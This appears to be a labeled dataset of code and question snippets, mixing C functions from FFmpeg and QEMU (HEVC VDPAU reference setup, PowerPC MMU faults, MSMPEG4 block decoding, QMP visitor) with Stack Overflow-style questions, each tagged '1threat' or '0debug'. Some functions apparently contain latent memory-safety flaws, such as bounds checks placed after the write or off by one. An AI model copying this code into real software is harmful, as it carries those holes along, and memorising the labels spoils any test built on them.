info->IDRPicFlag = IS_IDR(h); info->RAPPicFlag = IS_IRAP(h); info->CurrRpsIdx = sps->nb_st_rps; if (sh->short_term_ref_pic_set_sps_flag == 1) { for (size_t i = 0; i < sps->nb_st_rps; i++) { if (sh->short_term_rps == &sps->st_rps[i]) { info->CurrRpsIdx = i; break; } } } info->NumPocTotalCurr = ff_hevc_frame_nb_refs(h); if (sh->short_term_ref_pic_set_sps_flag == 0 && sh->short_term_rps) { info->NumDeltaPocsOfRefRpsIdx = sh->short_term_rps->rps_idx_num_delta_pocs; } info->NumShortTermPictureSliceHeaderBits = sh->short_term_ref_pic_set_size; info->NumLongTermPictureSliceHeaderBits = sh->long_term_ref_pic_set_size; info->CurrPicOrderCntVal = h->poc; for (size_t i = 0; i < 16; i++) { info->RefPics[i] = VDP_INVALID_HANDLE; info->PicOrderCntVal[i] = 0; info->IsLongTerm[i] = 0; } for (size_t i = 0, j = 0; i < FF_ARRAY_ELEMS(h->DPB); i++) { const HEVCFrame *frame = &h->DPB[i]; if (frame != h->ref && (frame->flags & (HEVC_FRAME_FLAG_LONG_REF | HEVC_FRAME_FLAG_SHORT_REF))) { if (j > 16) { av_log(avctx, AV_LOG_WARNING, "VDPAU only supports up to 16 references in the DPB. " "This frame may not be decoded correctly.\n"); break; } info->RefPics[j] = ff_vdpau_get_surface_id(frame->frame); info->PicOrderCntVal[j] = frame->poc; info->IsLongTerm[j] = 0; j++; } } info->NumPocStCurrBefore = h->rps[ST_CURR_BEF].nb_refs; if (info->NumPocStCurrBefore > 8) { av_log(avctx, AV_LOG_WARNING, "VDPAU only supports up to 8 references in StCurrBefore. " "This frame may not be decoded correctly.\n"); info->NumPocStCurrBefore = 8; } info->NumPocStCurrAfter = h->rps[ST_CURR_AFT].nb_refs; if (info->NumPocStCurrAfter > 8) { av_log(avctx, AV_LOG_WARNING, "VDPAU only supports up to 8 references in StCurrAfter. " "This frame may not be decoded correctly.\n"); info->NumPocStCurrAfter = 8; } info->NumPocLtCurr = h->rps[LT_CURR].nb_refs; if (info->NumPocLtCurr > 8) { av_log(avctx, AV_LOG_WARNING, "VDPAU only supports up to 8 references in LtCurr. " "This frame may not be decoded correctly.\n"); info->NumPocLtCurr = 8; } for (ssize_t i = 0, j = 0; i < h->rps[ST_CURR_BEF].nb_refs; i++) { HEVCFrame *frame = h->rps[ST_CURR_BEF].ref[i]; if (frame) { uint8_t found = 0; uintptr_t id = ff_vdpau_get_surface_id(frame->frame); for (size_t k = 0; k < 16; k++) { if (id == info->RefPics[k]) { info->RefPicSetStCurrBefore[j] = k; j++; found = 1; break; } } if (!found) { av_log(avctx, AV_LOG_WARNING, "missing surface: %p\n", (void *)id); } } else { av_log(avctx, AV_LOG_WARNING, "missing STR Before frame: %zd\n", i); } } for (ssize_t i = 0, j = 0; i < h->rps[ST_CURR_AFT].nb_refs; i++) { HEVCFrame *frame = h->rps[ST_CURR_AFT].ref[i]; if (frame) { uint8_t found = 0; uintptr_t id = ff_vdpau_get_surface_id(frame->frame); for (size_t k = 0; k < 16; k++) { if (id == info->RefPics[k]) { info->RefPicSetStCurrAfter[j] = k; j++; found = 1; break; } } if (!found) { av_log(avctx, AV_LOG_WARNING, "missing surface: %p\n", (void *)id); } } else { av_log(avctx, AV_LOG_WARNING, "missing STR After frame: %zd\n", i); } } for (ssize_t i = 0, j = 0; i < h->rps[LT_CURR].nb_refs; i++) { HEVCFrame *frame = h->rps[LT_CURR].ref[i]; if (frame) { uint8_t found = 0; uintptr_t id = ff_vdpau_get_surface_id(frame->frame); for (size_t k = 0; k < 16; k++) { if (id == info->RefPics[k]) { info->RefPicSetLtCurr[j] = k; j++; found = 1; break; } } if (!found) { av_log(avctx, AV_LOG_WARNING, "missing surface: %p\n", (void *)id); } } else { av_log(avctx, AV_LOG_WARNING, "missing LTR frame: %zd\n", i); } } return ff_vdpau_common_start_frame(pic_ctx, buffer, size); }
1threat
how to get a variable in a for loop? : i want roastAboutCheapLvl1 variable inside of for a loop to show ("it works") var roastAboutCheapLvl1 = "it works"; for(var i = 1; i<=5;i++){ var num = [i].toString(); var a = "roastAboutCheapLvl" + num; console.log(a); }
0debug
int cpu_ppc_handle_mmu_fault (CPUState *env, target_ulong address, int rw, int is_user, int is_softmmu) { mmu_ctx_t ctx; int access_type; int ret = 0; if (rw == 2) { rw = 0; access_type = ACCESS_CODE; } else { access_type = ACCESS_INT; } ret = get_physical_address(env, &ctx, address, rw, access_type, 1); if (ret == 0) { ret = tlb_set_page(env, address & TARGET_PAGE_MASK, ctx.raddr & TARGET_PAGE_MASK, ctx.prot, is_user, is_softmmu); } else if (ret < 0) { #if defined (DEBUG_MMU) if (loglevel != 0) cpu_dump_state(env, logfile, fprintf, 0); #endif if (access_type == ACCESS_CODE) { switch (ret) { case -1: switch (env->mmu_model) { case POWERPC_MMU_SOFT_6xx: env->exception_index = POWERPC_EXCP_IFTLB; env->error_code = 1 << 18; env->spr[SPR_IMISS] = address; env->spr[SPR_ICMP] = 0x80000000 | ctx.ptem; goto tlb_miss; case POWERPC_MMU_SOFT_74xx: env->exception_index = POWERPC_EXCP_IFTLB; goto tlb_miss_74xx; case POWERPC_MMU_SOFT_4xx: case POWERPC_MMU_SOFT_4xx_Z: env->exception_index = POWERPC_EXCP_ITLB; env->error_code = 0; env->spr[SPR_40x_DEAR] = address; env->spr[SPR_40x_ESR] = 0x00000000; break; case POWERPC_MMU_32B: #if defined(TARGET_PPC64) case POWERPC_MMU_64B: case POWERPC_MMU_64BRIDGE: #endif env->exception_index = POWERPC_EXCP_ISI; env->error_code = 0x40000000; break; case POWERPC_MMU_601: cpu_abort(env, "MMU model not implemented\n"); return -1; case POWERPC_MMU_BOOKE: cpu_abort(env, "MMU model not implemented\n"); return -1; case POWERPC_MMU_BOOKE_FSL: cpu_abort(env, "MMU model not implemented\n"); return -1; case POWERPC_MMU_REAL_4xx: cpu_abort(env, "PowerPC 401 should never raise any MMU " "exceptions\n"); return -1; default: cpu_abort(env, "Unknown or invalid MMU model\n"); return -1; } break; case -2: env->exception_index = POWERPC_EXCP_ISI; env->error_code = 0x08000000; break; case -3: env->exception_index = POWERPC_EXCP_ISI; env->error_code = 0x10000000; break; case -4: env->exception_index = POWERPC_EXCP_ISI; env->error_code = 0x10000000; break; #if defined(TARGET_PPC64) case -5: env->exception_index = POWERPC_EXCP_ISEG; env->error_code = 0; break; #endif } } else { switch (ret) { case -1: switch (env->mmu_model) { case POWERPC_MMU_SOFT_6xx: if (rw == 1) { env->exception_index = POWERPC_EXCP_DSTLB; env->error_code = 1 << 16; } else { env->exception_index = POWERPC_EXCP_DLTLB; env->error_code = 0; } env->spr[SPR_DMISS] = address; env->spr[SPR_DCMP] = 0x80000000 | ctx.ptem; tlb_miss: env->error_code |= ctx.key << 19; env->spr[SPR_HASH1] = ctx.pg_addr[0]; env->spr[SPR_HASH2] = ctx.pg_addr[1]; break; case POWERPC_MMU_SOFT_74xx: if (rw == 1) { env->exception_index = POWERPC_EXCP_DSTLB; } else { env->exception_index = POWERPC_EXCP_DLTLB; } tlb_miss_74xx: env->error_code = ctx.key << 19; env->spr[SPR_TLBMISS] = (address & ~((target_ulong)0x3)) | ((env->last_way + 1) & (env->nb_ways - 1)); env->spr[SPR_PTEHI] = 0x80000000 | ctx.ptem; break; case POWERPC_MMU_SOFT_4xx: case POWERPC_MMU_SOFT_4xx_Z: env->exception_index = POWERPC_EXCP_DTLB; env->error_code = 0; env->spr[SPR_40x_DEAR] = address; if (rw) env->spr[SPR_40x_ESR] = 0x00800000; else env->spr[SPR_40x_ESR] = 0x00000000; break; case POWERPC_MMU_32B: #if defined(TARGET_PPC64) case POWERPC_MMU_64B: case POWERPC_MMU_64BRIDGE: #endif env->exception_index = POWERPC_EXCP_DSI; env->error_code = 0; env->spr[SPR_DAR] = address; if (rw == 1) env->spr[SPR_DSISR] = 0x42000000; else env->spr[SPR_DSISR] = 0x40000000; break; case POWERPC_MMU_601: cpu_abort(env, "MMU model not implemented\n"); return -1; case POWERPC_MMU_BOOKE: cpu_abort(env, "MMU model not implemented\n"); return -1; case POWERPC_MMU_BOOKE_FSL: cpu_abort(env, "MMU model not implemented\n"); return -1; case POWERPC_MMU_REAL_4xx: cpu_abort(env, "PowerPC 401 should never raise any MMU " "exceptions\n"); return -1; default: cpu_abort(env, "Unknown or invalid MMU model\n"); return -1; } break; case -2: env->exception_index = POWERPC_EXCP_DSI; env->error_code = 0; env->spr[SPR_DAR] = address; if (rw == 1) env->spr[SPR_DSISR] = 0x0A000000; else env->spr[SPR_DSISR] = 0x08000000; break; case -4: switch (access_type) { case ACCESS_FLOAT: env->exception_index = POWERPC_EXCP_ALIGN; env->error_code = POWERPC_EXCP_ALIGN_FP; env->spr[SPR_DAR] = address; break; case ACCESS_RES: env->exception_index = POWERPC_EXCP_DSI; env->error_code = 0; env->spr[SPR_DAR] = address; if (rw == 1) env->spr[SPR_DSISR] = 0x06000000; else env->spr[SPR_DSISR] = 0x04000000; break; case ACCESS_EXT: env->exception_index = POWERPC_EXCP_DSI; env->error_code = 0; env->spr[SPR_DAR] = address; if (rw == 1) env->spr[SPR_DSISR] = 0x06100000; else env->spr[SPR_DSISR] = 0x04100000; break; default: printf("DSI: invalid exception (%d)\n", ret); env->exception_index = POWERPC_EXCP_PROGRAM; env->error_code = POWERPC_EXCP_INVAL | POWERPC_EXCP_INVAL_INVAL; env->spr[SPR_DAR] = address; break; } break; #if defined(TARGET_PPC64) case -5: env->exception_index = POWERPC_EXCP_DSEG; env->error_code = 0; env->spr[SPR_DAR] = address; break; #endif } } #if 0 printf("%s: set exception to %d %02x\n", __func__, env->exception, env->error_code); #endif ret = 1; } return ret; }
1threat
function is returning before the API service is being called iOS : <p>I am trying to return the "cardsarray" which contain the name, designation, and 4 more fields. When API is being called it returns the array of object which gets stored into my array. </p> <p>But when I run the application doesn't show anything in the table view.</p> <p>I tried some print statement. It came out that the function is returning before the API is being called. Not able to understand why. Please help</p> <p><a href="https://i.stack.imgur.com/Cpv6q.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Cpv6q.png" alt="enter image description here"></a></p> <pre><code> { designation = "Manager"; email = "Sample@gmail.com"; mobile =1234567899; name = "Sample"; status = 0; Company = "ABC Corp" }, { "pending_staff_pic" = 1; } </code></pre>
0debug
GraphQL Expected Iterable, but did not find one for field xxx.yyy : <p>I'm currently trying GraphQL with NodeJS and I don't know, why this error occurs with the following query:</p> <pre><code>{ library{ name, user { name email } } } </code></pre> <p>I am not sure if the <code>type</code> of my <code>resolveLibrary</code> is right, because at any example I had a look at they used <code>new GraphQL.GraphQLList()</code>, but in my case I really want to return a single user object, not an array of users.</p> <p>My code:</p> <pre><code>const GraphQL = require('graphql'); const DB = require('../database/db'); const user = require('./user').type; const library = new GraphQL.GraphQLObjectType({ name: 'library', description: `This represents a user's library`, fields: () =&gt; { return { name: { type: GraphQL.GraphQLString, resolve(library) { return library.name; } }, user: { type: user, resolve(library) { console.log(library.user); return library.user } } } } }); const resolveLibrary = { type: library, resolve(root) { return { name: 'My fancy library', user: { name: 'User name', email: { email: 'test@123.de' } } } } } module.exports = resolveLibrary; </code></pre> <p>Error:</p> <pre><code>Error: Expected Iterable, but did not find one for field library.user. </code></pre> <p>So my <code>library</code> schema provides a <code>user</code> field which returns the right data (the console.log is called).</p>
0debug
static void handle_pending_signal(CPUArchState *cpu_env, int sig, struct emulated_sigtable *k) { CPUState *cpu = ENV_GET_CPU(cpu_env); abi_ulong handler; sigset_t set; target_sigset_t target_old_set; struct target_sigaction *sa; TaskState *ts = cpu->opaque; trace_user_handle_signal(cpu_env, sig); k->pending = 0; sig = gdb_handlesig(cpu, sig); if (!sig) { sa = NULL; handler = TARGET_SIG_IGN; } else { sa = &sigact_table[sig - 1]; handler = sa->_sa_handler; } if (do_strace) { print_taken_signal(sig, &k->info); } if (handler == TARGET_SIG_DFL) { if (sig == TARGET_SIGTSTP || sig == TARGET_SIGTTIN || sig == TARGET_SIGTTOU) { kill(getpid(),SIGSTOP); } else if (sig != TARGET_SIGCHLD && sig != TARGET_SIGURG && sig != TARGET_SIGWINCH && sig != TARGET_SIGCONT) { force_sig(sig); } } else if (handler == TARGET_SIG_IGN) { } else if (handler == TARGET_SIG_ERR) { force_sig(sig); } else { sigset_t *blocked_set; target_to_host_sigset(&set, &sa->sa_mask); if (!(sa->sa_flags & TARGET_SA_NODEFER)) sigaddset(&set, target_to_host_signal(sig)); host_to_target_sigset_internal(&target_old_set, &ts->signal_mask); blocked_set = ts->in_sigsuspend ? &ts->sigsuspend_mask : &ts->signal_mask; sigorset(&ts->signal_mask, blocked_set, &set); ts->in_sigsuspend = 0; #if defined(TARGET_I386) && !defined(TARGET_X86_64) { CPUX86State *env = cpu_env; if (env->eflags & VM_MASK) save_v86_state(env); } #endif #if defined(TARGET_ABI_MIPSN32) || defined(TARGET_ABI_MIPSN64) \ || defined(TARGET_OPENRISC) || defined(TARGET_TILEGX) setup_rt_frame(sig, sa, &k->info, &target_old_set, cpu_env); #else if (sa->sa_flags & TARGET_SA_SIGINFO) setup_rt_frame(sig, sa, &k->info, &target_old_set, cpu_env); else setup_frame(sig, sa, &target_old_set, cpu_env); #endif if (sa->sa_flags & TARGET_SA_RESETHAND) { sa->_sa_handler = TARGET_SIG_DFL; } } }
1threat
static void quantize_and_encode_band(struct AACEncContext *s, PutBitContext *pb, const float *in, int size, int scale_idx, int cb, const float lambda) { const float IQ = ff_aac_pow2sf_tab[200 + scale_idx - SCALE_ONE_POS + SCALE_DIV_512]; const float Q = ff_aac_pow2sf_tab[200 - scale_idx + SCALE_ONE_POS - SCALE_DIV_512]; const float CLIPPED_ESCAPE = 165140.0f*IQ; const int dim = (cb < FIRST_PAIR_BT) ? 4 : 2; int i, j, k; #ifndef USE_REALLY_FULL_SEARCH const float Q34 = sqrtf(Q * sqrtf(Q)); const int range = aac_cb_range[cb]; const int maxval = aac_cb_maxval[cb]; int offs[4]; float *scaled = s->scoefs; #endif if (!cb) return; #ifndef USE_REALLY_FULL_SEARCH offs[0] = 1; for (i = 1; i < dim; i++) offs[i] = offs[i-1]*range; abs_pow34_v(scaled, in, size); quantize_bands(s->qcoefs, in, scaled, size, Q34, !IS_CODEBOOK_UNSIGNED(cb), maxval); #endif for (i = 0; i < size; i += dim) { float mincost; int minidx = 0; int minbits = 0; const float *vec; #ifndef USE_REALLY_FULL_SEARCH int (*quants)[2] = &s->qcoefs[i]; mincost = 0.0f; for (j = 0; j < dim; j++) mincost += in[i+j]*in[i+j]*lambda; minidx = IS_CODEBOOK_UNSIGNED(cb) ? 0 : 40; minbits = ff_aac_spectral_bits[cb-1][minidx]; mincost += minbits; for (j = 0; j < (1<<dim); j++) { float rd = 0.0f; int curbits; int curidx = IS_CODEBOOK_UNSIGNED(cb) ? 0 : 40; int same = 0; for (k = 0; k < dim; k++) { if ((j & (1 << k)) && quants[k][0] == quants[k][1]) { same = 1; break; } } if (same) continue; for (k = 0; k < dim; k++) curidx += quants[k][!!(j & (1 << k))] * offs[dim - 1 - k]; curbits = ff_aac_spectral_bits[cb-1][curidx]; vec = &ff_aac_codebook_vectors[cb-1][curidx*dim]; #else vec = ff_aac_codebook_vectors[cb-1]; mincost = INFINITY; for (j = 0; j < ff_aac_spectral_sizes[cb-1]; j++, vec += dim) { float rd = 0.0f; int curbits = ff_aac_spectral_bits[cb-1][j]; int curidx = j; #endif if (IS_CODEBOOK_UNSIGNED(cb)) { for (k = 0; k < dim; k++) { float t = fabsf(in[i+k]); float di; if (vec[k] == 64.0f && t < 39.0f*IQ) { rd = INFINITY; break; } if (vec[k] == 64.0f) { if (t >= CLIPPED_ESCAPE) { di = t - CLIPPED_ESCAPE; curbits += 21; } else { int c = av_clip(quant(t, Q), 0, 8191); di = t - c*cbrt(c)*IQ; curbits += av_log2(c)*2 - 4 + 1; } } else { di = t - vec[k]*IQ; } if (vec[k] != 0.0f) curbits++; rd += di*di*lambda; } } else { for (k = 0; k < dim; k++) { float di = in[i+k] - vec[k]*IQ; rd += di*di*lambda; } } rd += curbits; if (rd < mincost) { mincost = rd; minidx = curidx; minbits = curbits; } } put_bits(pb, ff_aac_spectral_bits[cb-1][minidx], ff_aac_spectral_codes[cb-1][minidx]); if (IS_CODEBOOK_UNSIGNED(cb)) for (j = 0; j < dim; j++) if (ff_aac_codebook_vectors[cb-1][minidx*dim+j] != 0.0f) put_bits(pb, 1, in[i+j] < 0.0f); if (cb == ESC_BT) { for (j = 0; j < 2; j++) { if (ff_aac_codebook_vectors[cb-1][minidx*2+j] == 64.0f) { int coef = av_clip(quant(fabsf(in[i+j]), Q), 0, 8191); int len = av_log2(coef); put_bits(pb, len - 4 + 1, (1 << (len - 4 + 1)) - 2); put_bits(pb, len, coef & ((1 << len) - 1)); } } } } }
1threat
Multiple versions of node on windows : <p>I currently have the following versions installed my windows machine.</p> <p>node : v7.3.0 npm : 3.10.10 @angular/cli : 1.4.2 </p> <p>I would like to install latest versions of the above and be able to switch accordingly. To my knowledge installation of node governs that. If I need to install latest npm and angular cli then i would need to install the latest version of node. Please do correct me if I am wrong. Can i globally install the latest version of nodejs. Once I install that could i switch between the node versions. I presume switching between the node versions would take care to use the appropriate npm and cli. </p>
0debug
Why does typeof function return "function"? : <p>If both array and function are object subtypes, then why does <code>typeof function</code> return <code>"function"</code> and <code>typeof array</code> return <code>"object"</code>?</p>
0debug
Detect that an application is locked : <p>I have an application developed in C # that sometimes is blocked, when it is blocked I have to restart it. I know if there is any way to detect if the application is frozen, close it and then restart.</p> <p>Thank for all!</p>
0debug
Need help in code to calculate alphabet repetition in string : i have a string say "**AAABBCCCDAAT**" so output for the following should be **A3B2C3D1A2T1**. Thanks
0debug
int ff_msmpeg4_decode_block(MpegEncContext * s, DCTELEM * block, int n, int coded, const uint8_t *scan_table) { int level, i, last, run, run_diff; int dc_pred_dir; RLTable *rl; RL_VLC_ELEM *rl_vlc; int qmul, qadd; if (s->mb_intra) { qmul=1; qadd=0; level = msmpeg4_decode_dc(s, n, &dc_pred_dir); if (level < 0){ av_log(s->avctx, AV_LOG_ERROR, "dc overflow- block: %d qscale: %d if(s->inter_intra_pred) level=0; else return -1; } if (n < 4) { rl = &rl_table[s->rl_table_index]; if(level > 256*s->y_dc_scale){ av_log(s->avctx, AV_LOG_ERROR, "dc overflow+ L qscale: %d if(!s->inter_intra_pred) return -1; } } else { rl = &rl_table[3 + s->rl_chroma_table_index]; if(level > 256*s->c_dc_scale){ av_log(s->avctx, AV_LOG_ERROR, "dc overflow+ C qscale: %d if(!s->inter_intra_pred) return -1; } } block[0] = level; run_diff = s->msmpeg4_version >= 4; i = 0; if (!coded) { goto not_coded; } if (s->ac_pred) { if (dc_pred_dir == 0) scan_table = s->intra_v_scantable.permutated; else scan_table = s->intra_h_scantable.permutated; } else { scan_table = s->intra_scantable.permutated; } rl_vlc= rl->rl_vlc[0]; } else { qmul = s->qscale << 1; qadd = (s->qscale - 1) | 1; i = -1; rl = &rl_table[3 + s->rl_table_index]; if(s->msmpeg4_version==2) run_diff = 0; else run_diff = 1; if (!coded) { s->block_last_index[n] = i; return 0; } if(!scan_table) scan_table = s->inter_scantable.permutated; rl_vlc= rl->rl_vlc[s->qscale]; } { OPEN_READER(re, &s->gb); for(;;) { UPDATE_CACHE(re, &s->gb); GET_RL_VLC(level, run, re, &s->gb, rl_vlc, TEX_VLC_BITS, 2, 0); if (level==0) { int cache; cache= GET_CACHE(re, &s->gb); if (s->msmpeg4_version==1 || (cache&0x80000000)==0) { if (s->msmpeg4_version==1 || (cache&0x40000000)==0) { if(s->msmpeg4_version!=1) LAST_SKIP_BITS(re, &s->gb, 2); UPDATE_CACHE(re, &s->gb); if(s->msmpeg4_version<=3){ last= SHOW_UBITS(re, &s->gb, 1); SKIP_CACHE(re, &s->gb, 1); run= SHOW_UBITS(re, &s->gb, 6); SKIP_CACHE(re, &s->gb, 6); level= SHOW_SBITS(re, &s->gb, 8); LAST_SKIP_CACHE(re, &s->gb, 8); SKIP_COUNTER(re, &s->gb, 1+6+8); }else{ int sign; last= SHOW_UBITS(re, &s->gb, 1); SKIP_BITS(re, &s->gb, 1); if(!s->esc3_level_length){ int ll; if(s->qscale<8){ ll= SHOW_UBITS(re, &s->gb, 3); SKIP_BITS(re, &s->gb, 3); if(ll==0){ if(SHOW_UBITS(re, &s->gb, 1)) av_log(s->avctx, AV_LOG_ERROR, "cool a new vlc code ,contact the ffmpeg developers and upload the file\n"); SKIP_BITS(re, &s->gb, 1); ll=8; } }else{ ll=2; while(ll<8 && SHOW_UBITS(re, &s->gb, 1)==0){ ll++; SKIP_BITS(re, &s->gb, 1); } if(ll<8) SKIP_BITS(re, &s->gb, 1); } s->esc3_level_length= ll; s->esc3_run_length= SHOW_UBITS(re, &s->gb, 2) + 3; SKIP_BITS(re, &s->gb, 2); UPDATE_CACHE(re, &s->gb); } run= SHOW_UBITS(re, &s->gb, s->esc3_run_length); SKIP_BITS(re, &s->gb, s->esc3_run_length); sign= SHOW_UBITS(re, &s->gb, 1); SKIP_BITS(re, &s->gb, 1); level= SHOW_UBITS(re, &s->gb, s->esc3_level_length); SKIP_BITS(re, &s->gb, s->esc3_level_length); if(sign) level= -level; } #if 0 { const int abs_level= FFABS(level); const int run1= run - rl->max_run[last][abs_level] - run_diff; if(abs_level<=MAX_LEVEL && run<=MAX_RUN){ if(abs_level <= rl->max_level[last][run]){ av_log(s->avctx, AV_LOG_ERROR, "illegal 3. esc, vlc encoding possible\n"); return DECODING_AC_LOST; } if(abs_level <= rl->max_level[last][run]*2){ av_log(s->avctx, AV_LOG_ERROR, "illegal 3. esc, esc 1 encoding possible\n"); return DECODING_AC_LOST; } if(run1>=0 && abs_level <= rl->max_level[last][run1]){ av_log(s->avctx, AV_LOG_ERROR, "illegal 3. esc, esc 2 encoding possible\n"); return DECODING_AC_LOST; } } } #endif if (level>0) level= level * qmul + qadd; else level= level * qmul - qadd; #if 0 if(level>2048 || level<-2048){ av_log(s->avctx, AV_LOG_ERROR, "|level| overflow in 3. esc\n"); return DECODING_AC_LOST; } #endif i+= run + 1; if(last) i+=192; #ifdef ERROR_DETAILS if(run==66) av_log(s->avctx, AV_LOG_ERROR, "illegal vlc code in ESC3 level=%d\n", level); else if((i>62 && i<192) || i>192+63) av_log(s->avctx, AV_LOG_ERROR, "run overflow in ESC3 i=%d run=%d level=%d\n", i, run, level); #endif } else { #if MIN_CACHE_BITS < 23 LAST_SKIP_BITS(re, &s->gb, 2); UPDATE_CACHE(re, &s->gb); #else SKIP_BITS(re, &s->gb, 2); #endif GET_RL_VLC(level, run, re, &s->gb, rl_vlc, TEX_VLC_BITS, 2, 1); i+= run + rl->max_run[run>>7][level/qmul] + run_diff; level = (level ^ SHOW_SBITS(re, &s->gb, 1)) - SHOW_SBITS(re, &s->gb, 1); LAST_SKIP_BITS(re, &s->gb, 1); #ifdef ERROR_DETAILS if(run==66) av_log(s->avctx, AV_LOG_ERROR, "illegal vlc code in ESC2 level=%d\n", level); else if((i>62 && i<192) || i>192+63) av_log(s->avctx, AV_LOG_ERROR, "run overflow in ESC2 i=%d run=%d level=%d\n", i, run, level); #endif } } else { #if MIN_CACHE_BITS < 22 LAST_SKIP_BITS(re, &s->gb, 1); UPDATE_CACHE(re, &s->gb); #else SKIP_BITS(re, &s->gb, 1); #endif GET_RL_VLC(level, run, re, &s->gb, rl_vlc, TEX_VLC_BITS, 2, 1); i+= run; level = level + rl->max_level[run>>7][(run-1)&63] * qmul; level = (level ^ SHOW_SBITS(re, &s->gb, 1)) - SHOW_SBITS(re, &s->gb, 1); LAST_SKIP_BITS(re, &s->gb, 1); #ifdef ERROR_DETAILS if(run==66) av_log(s->avctx, AV_LOG_ERROR, "illegal vlc code in ESC1 level=%d\n", level); else if((i>62 && i<192) || i>192+63) av_log(s->avctx, AV_LOG_ERROR, "run overflow in ESC1 i=%d run=%d level=%d\n", i, run, level); #endif } } else { i+= run; level = (level ^ SHOW_SBITS(re, &s->gb, 1)) - SHOW_SBITS(re, &s->gb, 1); LAST_SKIP_BITS(re, &s->gb, 1); #ifdef ERROR_DETAILS if(run==66) av_log(s->avctx, AV_LOG_ERROR, "illegal vlc code level=%d\n", level); else if((i>62 && i<192) || i>192+63) av_log(s->avctx, AV_LOG_ERROR, "run overflow i=%d run=%d level=%d\n", i, run, level); #endif } if (i > 62){ i-= 192; if(i&(~63)){ const int left= s->gb.size_in_bits - get_bits_count(&s->gb); if(((i+192 == 64 && level/qmul==-1) || s->error_recognition<=1) && left>=0){ av_log(s->avctx, AV_LOG_ERROR, "ignoring overflow at %d %d\n", s->mb_x, s->mb_y); break; }else{ av_log(s->avctx, AV_LOG_ERROR, "ac-tex damaged at %d %d\n", s->mb_x, s->mb_y); return -1; } } block[scan_table[i]] = level; break; } block[scan_table[i]] = level; } CLOSE_READER(re, &s->gb); } not_coded: if (s->mb_intra) { mpeg4_pred_ac(s, block, n, dc_pred_dir); if (s->ac_pred) { i = 63; } } if(s->msmpeg4_version>=4 && i>0) i=63; s->block_last_index[n] = i; return 0; }
1threat
static int blk_free(struct XenDevice *xendev) { struct XenBlkDev *blkdev = container_of(xendev, struct XenBlkDev, xendev); struct ioreq *ioreq; if (blkdev->blk || blkdev->sring) { blk_disconnect(xendev); } if (blkdev->feature_persistent) { g_tree_destroy(blkdev->persistent_gnts); } while (!QLIST_EMPTY(&blkdev->freelist)) { ioreq = QLIST_FIRST(&blkdev->freelist); QLIST_REMOVE(ioreq, list); qemu_iovec_destroy(&ioreq->v); g_free(ioreq); } g_free(blkdev->params); g_free(blkdev->mode); g_free(blkdev->type); g_free(blkdev->dev); g_free(blkdev->devtype); qemu_bh_delete(blkdev->bh); return 0; }
1threat
How to run hotstar in ubuntu 14.04 : <p>I am using ubuntu 14.04 and running the latest version of chrome still hotstar is not working? how to recover from that I have tried the methods discussed on the ubuntu forums still hotstar is not working</p>
0debug
static inline void _cpu_ppc_store_decr(PowerPCCPU *cpu, uint32_t decr, uint32_t value, int is_excp) { ppc_tb_t *tb_env = cpu->env.tb_env; __cpu_ppc_store_decr(cpu, &tb_env->decr_next, tb_env->decr_timer, &cpu_ppc_decr_excp, decr, value, is_excp); }
1threat
Creating layout using flex (html, css) : I'm trying to create the following layout for one of my web projects. What's the best way to create that using HTML, CSS (Flex)? I'm struggling with bottom-margin for C & D in Desktop screens, for D in Mobile screens. [![enter image description here][1]][1] [1]: https://i.stack.imgur.com/rhOWn.png
0debug
static int read_f(int argc, char **argv) { struct timeval t1, t2; int Cflag = 0, pflag = 0, qflag = 0, vflag = 0; int Pflag = 0, sflag = 0, lflag = 0, bflag = 0; int c, cnt; char *buf; int64_t offset; int count; int total = 0; int pattern = 0, pattern_offset = 0, pattern_count = 0; while ((c = getopt(argc, argv, "bCl:pP:qs:v")) != EOF) { switch (c) { case 'b': bflag = 1; break; case 'C': Cflag = 1; break; case 'l': lflag = 1; pattern_count = cvtnum(optarg); if (pattern_count < 0) { printf("non-numeric length argument -- %s\n", optarg); return 0; } break; case 'p': pflag = 1; break; case 'P': Pflag = 1; pattern = parse_pattern(optarg); if (pattern < 0) { return 0; } break; case 'q': qflag = 1; break; case 's': sflag = 1; pattern_offset = cvtnum(optarg); if (pattern_offset < 0) { printf("non-numeric length argument -- %s\n", optarg); return 0; } break; case 'v': vflag = 1; break; default: return command_usage(&read_cmd); } } if (optind != argc - 2) { return command_usage(&read_cmd); } if (bflag && pflag) { printf("-b and -p cannot be specified at the same time\n"); return 0; } offset = cvtnum(argv[optind]); if (offset < 0) { printf("non-numeric length argument -- %s\n", argv[optind]); return 0; } optind++; count = cvtnum(argv[optind]); if (count < 0) { printf("non-numeric length argument -- %s\n", argv[optind]); return 0; } if (!Pflag && (lflag || sflag)) { return command_usage(&read_cmd); } if (!lflag) { pattern_count = count - pattern_offset; } if ((pattern_count < 0) || (pattern_count + pattern_offset > count)) { printf("pattern verification range exceeds end of read data\n"); return 0; } if (!pflag) { if (offset & 0x1ff) { printf("offset %" PRId64 " is not sector aligned\n", offset); return 0; } if (count & 0x1ff) { printf("count %d is not sector aligned\n", count); return 0; } } buf = qemu_io_alloc(count, 0xab); gettimeofday(&t1, NULL); if (pflag) { cnt = do_pread(buf, offset, count, &total); } else if (bflag) { cnt = do_load_vmstate(buf, offset, count, &total); } else { cnt = do_read(buf, offset, count, &total); } gettimeofday(&t2, NULL); if (cnt < 0) { printf("read failed: %s\n", strerror(-cnt)); goto out; } if (Pflag) { void *cmp_buf = malloc(pattern_count); memset(cmp_buf, pattern, pattern_count); if (memcmp(buf + pattern_offset, cmp_buf, pattern_count)) { printf("Pattern verification failed at offset %" PRId64 ", %d bytes\n", offset + pattern_offset, pattern_count); } free(cmp_buf); } if (qflag) { goto out; } if (vflag) { dump_buffer(buf, offset, count); } t2 = tsub(t2, t1); print_report("read", &t2, offset, count, total, cnt, Cflag); out: qemu_io_free(buf); return 0; }
1threat
static void qmp_input_push(QmpInputVisitor *qiv, const QObject *obj, Error **errp) { qiv->stack[qiv->nb_stack].obj = obj; if (qobject_type(obj) == QTYPE_QLIST) { qiv->stack[qiv->nb_stack].entry = qlist_first(qobject_to_qlist(obj)); } qiv->nb_stack++; if (qiv->nb_stack >= QIV_STACK_SIZE) { error_set(errp, QERR_BUFFER_OVERRUN); return; } }
1threat
